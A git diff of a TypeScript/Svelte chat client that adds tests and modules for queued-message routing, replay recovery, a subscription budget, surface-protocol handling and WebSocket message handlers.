+ await vi.waitFor(() => expect(store.fatalError).toContain("Invalid conversations response"));
+ } finally {
+ store.dispose();
+ }
+});
+
+describe("compaction queued acknowledgement routing", () => {
+ it.each([
+ "surface-first",
+ "ack-first",
+ "drained-before-ack",
+ ])("uses only authoritative queue snapshots: %s", (order) => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
+ });
+ ws.resolveOpen();
+ store.send("queued text", [{ url: "data:image/png;base64,AAAA" }]);
+ const cid = activeConversationId(store);
+ const send = parseSent(ws).find((m) => (m as { type: string }).type === "chat.send") as {
+ requestId: string;
+ };
+ expect(send.requestId).toEqual(expect.any(String));
+ const sourceChat = store.activeChat;
+ const watch = store.watchConversation("other-conversation");
+ watch.send("unrelated local echo");
+ ws.feedSurfaceMessage({
+ type: "catalog",
+ catalog: [{ id: "message-queue", region: "inline", title: "Queue", scope: "conversation" }],
+ });
+ const spec = (messages: { id: string; text: string; timestamp: number }[]) => ({
+ id: "message-queue",
+ region: "inline",
+ title: "Queue",
+ fields: [{ kind: "custom" as const, rendererId: "message-queue", payload: { messages } }],
+ });
+ const queued = spec([{ id: "q1", text: "queued text", timestamp: 1 }]);
+ const drained = spec([]);
+ const ack = () =>
+ ws.feedServerMessage({
+ type: "chat.queued",
+ conversationId: cid,
+ reason: "compaction",
+ messageId: "q1",
+ requestId: send.requestId,
+ });
+ if (order === "ack-first") {
+ ack();
+ expect(store.surface("message-queue", cid)).toBeNull();
+ }
+ ws.feedSurfaceMessage({ type: "surface", conversationId: cid, spec: queued });
+ expect(store.surface("message-queue", cid)).toEqual(queued);
+ if (order === "drained-before-ack") {
+ ws.feedSurfaceMessage({
+ type: "update",
+ update: { surfaceId: "message-queue", conversationId: cid, spec: drained },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId: cid, turnId: "t1" },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "user-message", conversationId: cid, turnId: "t1", text: "queued text" },
+ });
+ }
+ ack();
+ ack();
+ expect(store.surface("message-queue", cid)).toEqual(
+ order === "drained-before-ack" ? drained : queued,
+ );
+ expect(sourceChat.chunks.map((c) => c.chunk)).toEqual(
+ order === "drained-before-ack" ? [{ type: "text", text: "queued text" }] : [],
+ );
+ expect(sourceChat.error).toBeNull();
+ expect(watch.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "unrelated local echo" },
+ ]);
+ expect(parseSent(ws).filter((m) => (m as { type: string }).type === "chat.send")).toHaveLength(
+ 2,
+ );
+ expect(parseSent(ws).filter((m) => (m as { type: string }).type === "chat.queue")).toHaveLength(
+ 0,
+ );
+ store.dispose();
+ });
+});
+
+it("routes omitted replay only to the matching watch/tab without WS resend or an error banner", async () => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ indexedDB: new IDBFactory(),
+ localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
+ });
+ try {
+ ws.resolveOpen();
+ const tab = store.activeChat;
+ const watch = store.watchConversation("omitted-watch");
+ const sentBefore = ws.sent.length;
+ ws.feedServerMessage({
+ type: "chat.resync-required",
+ conversationId: "unknown",
+ turnId: "unknown-turn",
+ reason: "replay-limit",
+ });
+ expect(watch.recovering).toBe(false);
+ expect(tab.recovering).toBe(false);
+ ws.feedServerMessage({
+ type: "chat.resync-required",
+ conversationId: "omitted-watch",
+ turnId: "t1",
+ reason: "replay-limit",
+ });
+ expect(watch.recovering).toBe(true);
+ expect(watch.generating).toBe(true);
+ expect(tab.recovering).toBe(false);
+ expect(watch.error).toBeNull();
+ expect(tab.error).toBeNull();
+ expect(store.fatalError).toBeNull();
+ expect(ws.sent).toHaveLength(sentBefore);
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: {
+ type: "turn-ended",
+ conversationId: "omitted-watch",
+ turnId: "t1",
+ reason: "aborted",
+ },
+ });
+ await vi.waitFor(() => expect(watch.pendingSync).toBe(false));
+ expect(watch.recovering).toBe(false);
+ expect(watch.generating).toBe(false);
+ expect(ws.sent).toHaveLength(sentBefore);
+ } finally {
+ store.dispose();
+ }
+});
+
+describe("unconfirmed first-message recovery", () => {
+ it("retains a local-only tab and input after reload and authoritative discovery, without resending", async () => {
+ const storage = createFakeStorage();
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (input, init) => {
+ if (String(input).endsWith("/conversations?status=active,idle"))
+ return Response.json({ conversations: [] });
+ return base(input, init);
+ };
+ const ws = fakeSocket();
+ const first = createAppStore({
+ localStorage: storage,
+ indexedDB: new IDBFactory(),
+ fetchImpl,
+ socketFactory: () => ws,
+ });
+ ws.resolveOpen();
+ first.send("must survive", [{ url: "data:image/png;base64,AAAA" }]);
+ const id = first.activeConversationId;
+ await new Promise((resolve) => setTimeout(resolve, 10));
+ expect(first.activeChat.pendingInputs).toHaveLength(1);
+ first.dispose();
+ const nextSocket = fakeSocket();
+ const next = createAppStore({
+ localStorage: storage,
+ indexedDB: new IDBFactory(),
+ fetchImpl,
+ socketFactory: () => nextSocket,
+ });
+ try {
+ nextSocket.resolveOpen();
+ await new Promise((resolve) => setTimeout(resolve, 10));
+ expect(next.tabs.some((tab) => tab.conversationId === id)).toBe(true);
+ expect(next.activeChat.pendingInputs).toMatchObject([
+ { request: { message: "must survive" } },
+ ]);
+ const requestId = next.activeChat.pendingInputs[0]?.request.requestId ?? "";
+ nextSocket.feedServerMessage({ type: "chat.accepted", conversationId: id ?? "", requestId });
+ expect(next.activeChat.pendingInputs).toEqual([]);
+ expect(
+ parseSent(nextSocket).some((message) =>
+ ["chat.send", "chat.queue"].includes((message as { type: string }).type),
+ ),
+ ).toBe(false);
+ } finally {
+ next.dispose();
+ }
+ });
+});
diff --git a/src/app/subscription-budget.test.ts b/src/app/subscription-budget.test.ts
new file mode 100644
index 0000000..03cdaa1
--- /dev/null
+++ b/src/app/subscription-budget.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+import {
+ liveConversationIds,
+ MAX_CHAT_SUBSCRIPTIONS,
+ MAX_SURFACE_SUBSCRIPTIONS,
+} from "./subscription-budget";
+
+describe("live subscription budget", () => {
+ it("reserves the focused conversation even when hundreds of viewers exist", () => {
+ const viewers = Array.from({ length: 339 }, (_, i) => `viewer-${i}`);
+ const selected = liveConversationIds("focused", viewers);
+ expect(selected.size).toBe(MAX_CHAT_SUBSCRIPTIONS);
+ expect(selected.has("focused")).toBe(true);
+ expect(selected.size + MAX_SURFACE_SUBSCRIPTIONS).toBeLessThanOrEqual(256);
+ });
+ it("deduplicates a modal viewing the focused chat and permits drafts", () => {
+ expect([...liveConversationIds("same", ["same", "other"])]).toEqual(["same", "other"]);
+ expect([...liveConversationIds(null, [])]).toEqual([]);
+ });
+});
diff --git a/src/app/subscription-budget.ts b/src/app/subscription-budget.ts
new file mode 100644
index 0000000..fc0ccb2
--- /dev/null
+++ b/src/app/subscription-budget.ts
@@ -0,0 +1,15 @@
+/** Split the server's 256 shared slots so catalog growth cannot evict chat watchers. */
+export const MAX_CHAT_SUBSCRIPTIONS = 128;
+export const MAX_SURFACE_SUBSCRIPTIONS = 128;
+
+export function liveConversationIds(
+ activeId: string | null,
+ watchedIds: Iterable<string>,
+): Set<string> {
+ return new Set(
+ [...new Set([...(activeId === null ? [] : [activeId]), ...watchedIds])].slice(
+ 0,
+ MAX_CHAT_SUBSCRIPTIONS,
+ ),
+ );
+}
diff --git a/src/app/surface-protocol.svelte.ts b/src/app/surface-protocol.svelte.ts
new file mode 100644
index 0000000..c79c8b6
--- /dev/null
+++ b/src/app/surface-protocol.svelte.ts
@@ -0,0 +1,146 @@
+import type { SurfaceServerMessage, SurfaceSpec } from "@dispatch/ui-contract";
+import type { SurfaceSocketHandle } from "../adapters/ws";
+import {
+ applyServerMessage,
+ getSurfaceSpec,
+ type ProtocolState,
+ initialState as protocolInitialState,
+ invoke as protocolInvoke,
+ subscribe as protocolSubscribe,
+ unsubscribe as protocolUnsubscribe,
+} from "../core/protocol";
+import { MAX_SURFACE_SUBSCRIPTIONS } from "./subscription-budget";
+
+/** Shared app/plugin surface operations over the single app protocol state. */
+export function createSurfaceProtocol(deps: {
+ focusedConversationId: () => string | undefined;
+ send: SurfaceSocketHandle["send"];
+}) {
+ let protocol = $state<ProtocolState>(protocolInitialState());
+ // Rendering may retain the prior spec during re-scope. Consumers making
+ // conversation-specific decisions can opt into a snapshot with a known scope.
+ let receivedScopes = $state<ReadonlyMap<string, string | undefined>>(new Map());
+ function handleServerMessage(msg: SurfaceServerMessage): void {
+ const next = applyServerMessage(protocol, msg);
+ if (next !== protocol && (msg.type === "surface" || msg.type === "update")) {
+ const snapshot = msg.type === "surface" ? msg : msg.update;
+ const scopes = new Map(receivedScopes);
+ scopes.set(snapshot.spec.id, snapshot.conversationId);
+ receivedScopes = scopes;
+ }
+ protocol = next;
+ // Surfaces are auto-expanded: whenever the catalog changes, subscribe to
+ // every entry (and drop subscriptions for entries that vanished).
+ if (msg.type === "catalog") {
+ syncSubscriptions();
+ }
+ }
+
+ /**
+ * Subscribe to every catalog entry, scoped to the focused conversation, and
+ * unsubscribe stragglers. Re-run on conversation switch: a conversation-scoped
+ * surface (e.g. cache-warming) re-scopes to the new id (`protocolSubscribe`
+ * emits unsubscribe-old + subscribe-new); a global surface ignores the id.
+ */
+ function syncSubscriptions(): void {
+ const cid = deps.focusedConversationId();
+ const catalogIds = new Set(
+ protocol.catalog.slice(0, MAX_SURFACE_SUBSCRIPTIONS).map((e) => e.id),
+ );
+ for (const id of [...protocol.subscriptions.keys()]) {
+ if (!catalogIds.has(id)) {
+ const result = protocolUnsubscribe(protocol, id);
+ protocol = result.state;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+ }
+ for (const entry of protocol.catalog.slice(0, MAX_SURFACE_SUBSCRIPTIONS)) {
+ // A GLOBAL surface ignores conversation scope — subscribe it WITHOUT an id
+ // so a conversation switch doesn't churn a redundant unsubscribe+subscribe
+ // round trip ([email protected] catalog `scope`; ABSENT = assume
+ // conversation-scoped, the conservative pre-0.2.0 policy).
+ const scoped = entry.scope === "global" ? undefined : cid;
+ const result = protocolSubscribe(protocol, entry.id, scoped);
+ protocol = result.state;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+ receivedScopes = new Map([...receivedScopes].filter(([id]) => protocol.subscriptions.has(id)));
+ }
+
+ /**
+ * The surface OP implementations — closure functions shared by the app
+ * store's public methods AND the frontend-plugin ABI's surfaces ports (the
+ * plugin host binds exactly these; there is no second protocol state).
+ */
+ function invokeSurfaceOp(
+ surfaceId: string,
+ actionId: string,
+ payload?: unknown,
+ conversationId?: string,
+ ): void {
+ const result = protocolInvoke(
+ protocol,
+ surfaceId,
+ actionId,
+ payload,
+ conversationId ?? deps.focusedConversationId(),
+ );
+ protocol = result.state;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+
+ function subscribeSurfaceOp(surfaceId: string, conversationId?: string): void {
+ if (
+ !protocol.subscriptions.has(surfaceId) &&
+ protocol.subscriptions.size >= MAX_SURFACE_SUBSCRIPTIONS
+ )
+ return;
+ const result = protocolSubscribe(
+ protocol,
+ surfaceId,
+ conversationId ?? deps.focusedConversationId(),
+ );
+ protocol = result.state;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+
+ function unsubscribeSurfaceOp(surfaceId: string, conversationId?: string): void {
+ // protocolUnsubscribe keys on the surface alone (it drops the pair it
+ // was subscribed under); the optional id documents the intent.
+ void conversationId;
+ const result = protocolUnsubscribe(protocol, surfaceId);
+ protocol = result.state;
+ const scopes = new Map(receivedScopes);
+ scopes.delete(surfaceId);
+ receivedScopes = scopes;
+ for (const msg of result.outgoing) {
+ deps.send(msg);
+ }
+ }
+
+ function surfaceSpecOp(surfaceId: string, conversationId?: string): SurfaceSpec | null {
+ if (conversationId !== undefined && receivedScopes.get(surfaceId) !== conversationId)
+ return null;
+ return getSurfaceSpec(protocol, surfaceId);
+ }
+
+ return {
+ handleServerMessage,
+ syncSubscriptions,
+ invokeSurfaceOp,
+ subscribeSurfaceOp,
+ unsubscribeSurfaceOp,
+ surfaceSpecOp,
+ get protocol() {
+ return protocol;
+ },
+ };
+}
diff --git a/src/app/surface-protocol.test.ts b/src/app/surface-protocol.test.ts
new file mode 100644
index 0000000..405e561
--- /dev/null
+++ b/src/app/surface-protocol.test.ts
@@ -0,0 +1,96 @@
+import type { SurfaceSpec } from "@dispatch/ui-contract";
+import { describe, expect, it, vi } from "vitest";
+import { createSurfaceProtocol } from "./surface-protocol.svelte";
+
+const spec: SurfaceSpec = { id: "s1", region: "inline", title: "Snapshot", fields: [] };
+
+function fixture() {
+ let focusedId = "c1";
+ const surfaces = createSurfaceProtocol({
+ focusedConversationId: () => focusedId,
+ send: vi.fn(),
+ });
+ surfaces.handleServerMessage({
+ type: "catalog",
+ catalog: [{ id: "s1", region: "inline", title: "Snapshot", scope: "conversation" }],
+ });
+ return {
+ surfaces,
+ focus(id: string) {
+ focusedId = id;
+ surfaces.syncSubscriptions();
+ },
+ };
+}
+
+describe("conversation-scoped surface lookup", () => {
+ it("keeps retained rendering but withholds another conversation's snapshot from decisions", () => {
+ const { surfaces, focus } = fixture();
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ surfaces.handleServerMessage({ type: "surface", conversationId: "c1", spec });
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toEqual(spec);
+ focus("c2");
+ expect(surfaces.surfaceSpecOp("s1")).toEqual(spec);
+ expect(surfaces.surfaceSpecOp("s1", "c2")).toBeNull();
+ surfaces.handleServerMessage({ type: "surface", conversationId: "c1", spec });
+ expect(surfaces.surfaceSpecOp("s1", "c2")).toBeNull();
+ const updated = { ...spec, title: "Current" };
+ surfaces.handleServerMessage({
+ type: "update",
+ update: { surfaceId: "s1", conversationId: "c2", spec: updated },
+ });
+ expect(surfaces.surfaceSpecOp("s1", "c2")).toEqual(updated);
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ });
+
+ it("does not treat an unscoped snapshot as known conversation-specific data", () => {
+ const { surfaces } = fixture();
+ surfaces.handleServerMessage({ type: "surface", spec });
+ expect(surfaces.surfaceSpecOp("s1")).toEqual(spec);
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ });
+
+ it("drops snapshot scope on explicit unsubscribe and catalog removal", () => {
+ const { surfaces } = fixture();
+ surfaces.handleServerMessage({ type: "surface", conversationId: "c1", spec });
+ surfaces.unsubscribeSurfaceOp("s1");
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ surfaces.subscribeSurfaceOp("s1");
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ surfaces.handleServerMessage({ type: "surface", conversationId: "c1", spec });
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toEqual(spec);
+ surfaces.handleServerMessage({ type: "catalog", catalog: [] });
+ expect(surfaces.surfaceSpecOp("s1", "c1")).toBeNull();
+ });
+});
+
+describe("surface subscription budget", () => {
+ it("bounds a large catalog and releases old slots before subscribing a replacement catalog", () => {
+ const live = new Set<string>();
+ let peak = 0;
+ const surfaces = createSurfaceProtocol({
+ focusedConversationId: () => "chat",
+ send(message) {
+ if (message.type === "subscribe") live.add(message.surfaceId);
+ if (message.type === "unsubscribe") live.delete(message.surfaceId);
+ peak = Math.max(peak, live.size);
+ },
+ });
+ for (const prefix of ["old", "new"]) {
+ surfaces.handleServerMessage({
+ type: "catalog",
+ catalog: Array.from({ length: 339 }, (_, i) => ({
+ id: `${prefix}-${i}`,
+ region: "inline",
+ title: "Surface",
+ scope: "global" as const,
+ })),
+ });
+ expect(live.size).toBe(128);
+ expect([...live].every((id) => id.startsWith(prefix))).toBe(true);
+ }
+ surfaces.subscribeSurfaceOp("overflow");
+ expect(live.has("overflow")).toBe(false);
+ expect(peak).toBe(128);
+ });
+});
diff --git a/src/app/views/ChatPane.svelte b/src/app/views/ChatPane.svelte
index 636cd7c..d132fad 100644
--- a/src/app/views/ChatPane.svelte
+++ b/src/app/views/ChatPane.svelte
@@ -7,13 +7,18 @@
* preservation, the ScrollToBottom affordance, and the empty-state
* watermark. Keyed on the active conversation exactly like today's ChatView.
*/
- import { ChatView } from "../../features/chat";
+ import { ChatView, PendingInputs, isClaudeSubscriptionModel } from "../../features/chat";
import { createSmartScrollController, ScrollToBottom } from "../../features/smart-scroll";
import { preserveViewportAcross, type AppViewPorts } from "../view-ports";
let { ports }: { ports: AppViewPorts } = $props();
const store = $derived(ports.store);
+ // Cache timer: Claude Code subscription models only (5-minute prompt-cache expiry).
+ const cacheTimer = $derived(
+ isClaudeSubscriptionModel(store.activeModel) ? store.activeChat.cacheTimer : null,
+ );
+
// One controller owns the chat scroll region; the effects below feed it the
// edges (identical to the App.svelte wiring this moved out of).
const smartScroll = createSmartScrollController();
@@ -75,17 +80,21 @@
{#key store.activeConversationId}
<ChatView
chunks={store.activeChat.chunks}
+ recovering={store.activeChat.recovering}
turnMetrics={store.activeChat.turnMetrics}
hasEarlier={store.activeChat.hasEarlier}
onShowEarlier={handleShowEarlier}
thinkingKeyBase={store.activeChat.thinkingKeyBase}
providerRetry={store.activeChat.providerRetry}
apiBaseUrl={store.httpBase}
+ cwd={store.cwd}
+ {cacheTimer}
/>
{/key}
+ <PendingInputs inputs={store.activeChat.pendingInputs} onDiscard={store.activeChat.discardPendingInput} />
</div>
</div>
- {#if store.activeChat.chunks.length === 0}
+ {#if store.activeChat.chunks.length === 0 && store.activeChat.pendingInputs.length === 0}
<div
class="pointer-events-none absolute inset-0 flex items-center justify-center"
aria-hidden="true"
diff --git a/src/app/views/ComposerPane.svelte b/src/app/views/ComposerPane.svelte
index dcd5b47..00dbc9f 100644
--- a/src/app/views/ComposerPane.svelte
+++ b/src/app/views/ComposerPane.svelte
@@ -6,11 +6,18 @@
* is a persistent column fixture, exactly like today.
*/
import { Composer, type ComposerStatus } from "../../features/chat";
+ import { MESSAGE_QUEUE_RENDERER_ID, messageQueueCount } from "../../features/surface-host";
import type { AppViewPorts } from "../view-ports";
let { ports }: { ports: AppViewPorts } = $props();
const store = $derived(ports.store);
+ const queuedMessageCount = $derived(
+ store.activeConversationId === null
+ ? undefined
+ : messageQueueCount(store.surface(MESSAGE_QUEUE_RENDERER_ID, store.activeConversationId)),
+ );
+
// Priority: error > queued > running > idle. `queued` (the turn is in flight
// but waiting for a concurrency slot — CR-13) wins over `running` so the
// corner shows a ring, not dots, during the wait. `turn-start` fires before
@@ -27,9 +34,10 @@
<Composer
onSend={(text, images) => store.send(text, images)}
- onQueue={(text) => store.queueMessage(text)}
+ onQueue={(text, images) => store.queueMessage(text, images)}
onStop={() => store.stopGeneration()}
contextSize={store.activeChat.currentContextSize}
contextWindow={store.modelInfo[store.activeModel]?.contextWindow}
+ {queuedMessageCount}
status={composerStatus}
/>
diff --git a/src/app/ws-handlers.ts b/src/app/ws-handlers.ts
new file mode 100644
index 0000000..e4fd916
--- /dev/null
+++ b/src/app/ws-handlers.ts
@@ -0,0 +1,216 @@
+import type {
+ ChatAcceptedMessage,
+ ChatDeltaMessage,
+ ChatErrorMessage,
+ ChatQueuedMessage,
+ ChatResyncRequiredMessage,
+ ChatSubscriptionRejectedMessage,
+ ConversationCompactedMessage,
+ ConversationOpenMessage,
+ ConversationStatusChangedMessage,
+ ConversationTabGroupChangedMessage,
+ ExtensionsChangedMessage,
+ LayoutChangedMessage,
+ TileLayoutChangedMessage,
+ WorkspaceSetMessage,
+} from "@dispatch/transport-contract";
+import type { SubscribeMessage } from "@dispatch/ui-contract";
+import type { SurfaceSocketHandle, SurfaceSocketOptions } from "../adapters/ws";
+import type { ConversationCache } from "../features/conversation-cache";
+import type { LayoutStore } from "../features/layout";
+import type { PluginsStore } from "../features/plugins";
+import type { TabsStore } from "../features/tabs";
+import type { TileLayoutStore } from "../features/workspaces";
+import type { ChatRegistry } from "./chat-registry.svelte";
+import type { OpenConversations } from "./open-conversations.svelte";
+import type { createPluginHost } from "./plugin-host.svelte";
+import type { createSettingsRefreshers } from "./settings-refreshers.svelte";
+import type { createSurfaceProtocol } from "./surface-protocol.svelte";
+
+/** Typed socket callbacks over explicitly injected app-owned instances. */
+export function createWsHandlers(deps: {
+ url: string;
+ send: SurfaceSocketHandle["send"];
+ registry: ChatRegistry;
+ conversations: OpenConversations;
+ surfaces: ReturnType<typeof createSurfaceProtocol>;
+ cache: ConversationCache;
+ tabsStore: TabsStore;
+ activeWorkspaceId: () => string;
+ workspaceSetMsg: (workspaceId: string) => WorkspaceSetMessage;
+ pluginsStore: PluginsStore;
+ pluginHost: ReturnType<typeof createPluginHost>;
+ layoutStore: LayoutStore;
+ tileLayoutStore: TileLayoutStore;
+ refreshers: ReturnType<typeof createSettingsRefreshers>;
+ reportError: (context: string, err: unknown) => void;
+}): SurfaceSocketOptions {
+ const {
+ registry,
+ conversations,
+ surfaces,
+ cache,
+ tabsStore,
+ pluginsStore,
+ pluginHost,
+ layoutStore,
+ tileLayoutStore,
+ } = deps;
+ function handleChatMessage(
+ msg:
+ | ChatAcceptedMessage
+ | ChatSubscriptionRejectedMessage
+ | ChatDeltaMessage
+ | ChatErrorMessage
+ | ChatQueuedMessage
+ | ChatResyncRequiredMessage,
+ ): void {
+ let targetId: string | undefined;
+ if (msg.type === "chat.delta") {
+ targetId = msg.event.conversationId;
+ } else {
+ targetId = msg.conversationId;
+ }
+
+ if (targetId !== undefined) {
+ const store = registry.chatStores.get(targetId) ?? registry.watchStores.get(targetId);
+ if (store !== undefined) {
+ store.handleDelta(msg);
+ return;
+ }
+ }
+
+ if (
+ msg.type === "chat.accepted" ||
+ msg.type === "chat.subscription-rejected" ||
+ msg.type === "chat.queued" ||
+ msg.type === "chat.resync-required"
+ )
+ return;
+
+ // fallback: try all stores (chat.error without conversationId)
+ for (const store of registry.chatStores.values()) {
+ store.handleDelta(msg);
+ }
+ for (const store of registry.watchStores.values()) {
+ store.handleDelta(msg);
+ }
+ }
+
+ return {
+ url: deps.url,
+ onMessage: surfaces.handleServerMessage,
+ onChat: handleChatMessage,
+ onConversationOpen(msg: ConversationOpenMessage): void {
+ conversations.openConversation(
+ msg.conversationId,
+ msg.workspaceId,
+ msg.model,
+ msg.tabGroupParentId,
+ );
+ },
+ onConversationTabGroupChanged(msg: ConversationTabGroupChangedMessage): void {
+ // Another client (or this one, echoed) regrouped a tab — apply the
+ // authoritative EFFECTIVE value. Unknown tabs are a reducer no-op.
+ tabsStore.setTabGroupParent(msg.conversationId, msg.tabGroupParentId);
+ },
+ onConversationStatusChanged(msg: ConversationStatusChangedMessage): void {
+ const { conversationId, status, workspaceId } = msg;
+ if (status === "closed") {
+ // Closed on another device (or the backend) — remove the tab locally.
+ if (registry.chatStores.has(conversationId)) {
+ conversations.removeTabLocally(conversationId);
+ }
+ return;
+ }
+ // active / queued / idle — update the status map (drives the tab spinner).
+ // `queued` = the turn is in flight but waiting for a concurrency slot
+ // (broadcast-only, never persisted — CR-13); the tab shows a ring.
+ conversations.conversationStatuses = new Map(conversations.conversationStatuses).set(
+ conversationId,
+ status,
+ );
+ // Reconcile the already-open tab's workspace from this authoritative
+ // lifecycle event (the payload workspace is the conversation's actual
+ // persisted workspace). A raced `conversation.open` may have stamped the
+ // wrong workspace ("default") — correct it here.
+ if (
+ registry.chatStores.has(conversationId) &&
+ (tabsStore.tabs.find((t) => t.conversationId === conversationId)?.workspaceId ??
+ workspaceId) !== workspaceId
+ ) {
+ tabsStore.setWorkspaceId(conversationId, workspaceId);
+ }
+ // If this is a new active OR queued conversation we don't have a tab for,
+ // open one — so a cross-device turn (incl. one waiting in the concurrency
+ // queue) is visible. `idle` never opens a tab.
+ if (
+ (status === "active" || status === "queued") &&
+ !registry.chatStores.has(conversationId)
+ ) {
+ conversations.openConversation(conversationId, workspaceId);
+ }
+ },
+ onConversationCompacted(msg: ConversationCompactedMessage): void {
+ const cid = msg.conversationId;
+ const store = registry.chatStores.get(cid) ?? registry.watchStores.get(cid);
+ if (store && registry.loadedConversationIds.has(cid)) {
+ store.resync(msg.historyEpoch);
+ } else {
+ store?.invalidateHistory(msg.historyEpoch);
+ // Unseen conversations stay lazy. Invalidation is queued before their
+ // next load; epoch-guarded commits reject any older in-flight response.
+ void cache
+ .reset(cid, msg.historyEpoch)
+ .catch((err) => deps.reportError("Failed to reset conversation cache", err));
+ }
+ },
+ onReopen() {
+ // The server forgot our subscriptions on reconnect; re-send each with the
+ // conversation it was subscribed under (protocolSubscribe would no-op since
+ // they're still in our local map, so emit the wire messages directly).
+ for (const [surfaceId, sub] of surfaces.protocol.subscriptions) {
+ const msg: SubscribeMessage =
+ sub.conversationId === undefined
+ ? { type: "subscribe", surfaceId }
+ : { type: "subscribe", surfaceId, conversationId: sub.conversationId };
+ deps.send(msg);
+ }
+ // A reconnect is a NEW connection — the server forgot this client's
+ // workspace too. Re-declare it so the re-pushed catalog is filtered
+ // (plan 06 §6.4).
+ deps.send(deps.workspaceSetMsg(deps.activeWorkspaceId()));
+ registry.reconnect();
+ void conversations.fetchOpenConversations();
+ },
+ onExtensionsChanged(_msg: ExtensionsChangedMessage) {
+ // §11 multi-client coherence: another client (or this one) mutated the
+ // plugin set. Refetch the plugin list (+ any open workspace modal view),
+ // the workspace-scoped model catalog, and the provider guardrail. The
+ // surface catalog is NOT refetched here — the server re-pushes it
+ // (workspace-filtered) on the same broadcast.
+ pluginsStore.onExtensionsChanged();
+ // Frontend plugins (plan 03): the load lifecycle's extensions-changed
+ // trigger — newly-loaded/enabled frontend plugins import + activate;
+ // unloaded/disabled ones are swept (their tiles fall back).
+ void pluginHost.sync();
+ // A layout plugin enabled/disabled mid-session starts/stops serving —
+ // the probe picks the new provider state up without a reload (§2.6).
+ void layoutStore.probe(deps.activeWorkspaceId());
+ void deps.refreshers.refreshModels();
+ void deps.refreshers.refreshProviderStatus();
+ },
+ onLayout(msg: LayoutChangedMessage) {
+ // §2.5 multi-client coherence: a layout write on ANY client (or a
+ // plugin's op) re-renders here — the store filters non-active
+ // workspaces (the server fans out to everyone).
+ layoutStore.onServerTree(msg.workspaceId, msg.tree);
+ },
+ onTileLayout(msg: TileLayoutChangedMessage) {
+ // Multi-client coherence for the home grid's synced layouts: a write
+ // on ANY client re-renders here — the store filters the OTHER
+ // orientation (the server fans out to everyone).
+ tileLayoutStore.onServerTileLayout(msg.mode, msg.data);
+ },
+ };
+}
diff --git a/src/core/chunks/groups.test.ts b/src/core/chunks/groups.test.ts
index cc2aa40..1196590 100644
--- a/src/core/chunks/groups.test.ts
+++ b/src/core/chunks/groups.test.ts
@@ -150,3 +150,25 @@ describe("groupRenderedChunks", () => {
expect(groups.map((g) => g.kind)).toEqual(["single", "tool"]);
});
});
+
+it("keeps windowed committed orphan calls in Show earlier even while another payload recovers", () => {
+ const groups = groupRenderedChunks(
+ [
+ {
+ seq: 50,
+ role: "tool",
+ provisional: false,
+ chunk: {
+ type: "tool-result",
+ toolCallId: "older",
+ toolName: "run_shell",
+ content: "output",
+ isError: false,
+ },
+ },
+ ],
+ true,
+ );
+ expect(groups[0]).toMatchObject({ kind: "tool", entry: { call: null } });
+ if (groups[0]?.kind === "tool") expect(groups[0].entry.recovering).toBeUndefined();
+});
diff --git a/src/core/chunks/groups.ts b/src/core/chunks/groups.ts
index c8493cc..6e0f8ea 100644
--- a/src/core/chunks/groups.ts
+++ b/src/core/chunks/groups.ts
@@ -3,6 +3,7 @@ import type { RenderedChunk } from "./types";
/** One tool call and its response. Null call = unloaded history; null result = pending. */
export interface ToolEntry {
+ readonly recovering?: boolean;
readonly toolCallId: string;
readonly toolName: string;
readonly call: ToolCallChunk | null;
@@ -26,7 +27,10 @@ export type RenderGroup =
* the stable t<toolCallId> render keys are always unique, even on corrupt replay.
* Pure: input → output; no DOM, effects, or Svelte.
*/
-export function groupRenderedChunks(rendered: readonly RenderedChunk[]): readonly RenderGroup[] {
+export function groupRenderedChunks(
+ rendered: readonly RenderedChunk[],
+ recovering = false,
+): readonly RenderGroup[] {
const calls = new Map<string, RenderedChunk>();
const results = new Map<string, RenderedChunk>();
for (const rc of rendered) {
@@ -55,7 +59,13 @@ export function groupRenderedChunks(rendered: readonly RenderedChunk[]): readonl
const turnId = callRow?.turnId ?? resultRow?.turnId;
groups.push({
kind: "tool",
- entry: { toolCallId: c.toolCallId, toolName: call?.toolName ?? c.toolName, call, result },
+ entry: {
+ toolCallId: c.toolCallId,
+ toolName: call?.toolName ?? c.toolName,
+ call,
+ result,
+ ...(recovering && call === null && resultRow?.provisional ? { recovering: true } : {}),
+ },
provisional: Boolean(callRow?.provisional || resultRow?.provisional),
...(stepId !== undefined ? { stepId } : {}),
...(turnId !== undefined ? { turnId } : {}),
diff --git a/src/core/chunks/index.ts b/src/core/chunks/index.ts
index 3822a79..03d687c 100644
--- a/src/core/chunks/index.ts
+++ b/src/core/chunks/index.ts
@@ -7,6 +7,8 @@ export {
clearGenerating,
foldEvent,
initialState,
+ markHistoryRecovering,
+ removeLocalEcho,
} from "./reducer";
export type { ProviderRetryView } from "./retry-banner";
export { formatRetryDelay, viewProviderRetry } from "./retry-banner";
diff --git a/src/core/chunks/local-echo.test.ts b/src/core/chunks/local-echo.test.ts
new file mode 100644
index 0000000..565017c
--- /dev/null
+++ b/src/core/chunks/local-echo.test.ts
@@ -0,0 +1,45 @@
+import { describe, expect, it } from "vitest";
+import { appendUserMessage, applyHistory, foldEvent, initialState, removeLocalEcho } from "./index";
